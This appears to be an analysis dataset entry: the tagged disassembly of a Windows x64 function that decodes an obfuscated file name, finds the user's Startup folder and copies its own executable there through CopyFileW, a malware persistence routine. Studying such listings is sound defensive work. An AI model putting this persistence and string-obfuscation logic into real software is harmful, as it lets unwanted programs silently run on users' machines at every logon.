Function at 0x140046bc0
Capabilities:
Copy file
Get common file path
Get startup folder
Write file to startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x400]
sub rsp, 0x500
mov rax, qword [0x1400ea180]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
xor esi, esi
mov r8d, 0x104
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140046ec5
mov byte [rsp + 0x30], sil
mov byte [rsp + 0x31], 0x7b
mov byte [rsp + 0x32], 1
mov byte [rsp + 0x33], 0x40
mov byte [rsp + 0x34], 1
mov byte [rsp + 0x35], 0x54
mov byte [rsp + 0x36], 1
mov byte [rsp + 0x37], 0x2f
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x39], 0x1c
mov byte [rsp + 0x3a], 1
mov byte [rsp + 0x3b], 0x3e
mov byte [rsp + 0x3c], 1
mov byte [rsp + 0x3d], 0x58
mov byte [rsp + 0x3e], 1
mov byte [rsp + 0x3f], sil
mov byte [rsp + 0x40], 1
mov byte [rsp + 0x41], 0x58
mov byte [rsp + 0x42], 1
mov byte [rsp + 0x43], 1
mov byte [rsp + 0x44], 1
movzx eax, byte [rsp + 0x31]
movzx eax, byte [rsp + 0x30]
test al, al
jne 0x140046d06
mov r9d, esi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + r9 + 0x31]
imul r8d, eax, 7
sub r8d, 7
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x31], r8b
inc r9
cmp r9, 0x14
jb 0x140046cb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rax, [rsp + 0x31]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp word [rax + r8*2], si
jne 0x140046d25
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x70]
call fcn.140028760
nop
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.14003ca70
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rbp - 0x30]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140046d65
mov r8, rbx
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.140028760
nop
mov r9, rdi
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.140047700
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140046dd6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046dd0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046ef3
call fcn.1400652cc
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x140046e16
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046e11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046ef9
call fcn.1400652cc
movdqa xmm0, xmmword [0x1400da2f0]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x70], si
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x140046e68
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046e63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046eff
call fcn.1400652cc
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rdx, qword [rbp - 0x50]
mov r8d, 1
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140046ec5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046ec0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046eed
call fcn.1400652cc
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.140065270
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.140099524
nop
call fcn.140099524
nop
call fcn.140099524
nop
call fcn.140099524
int3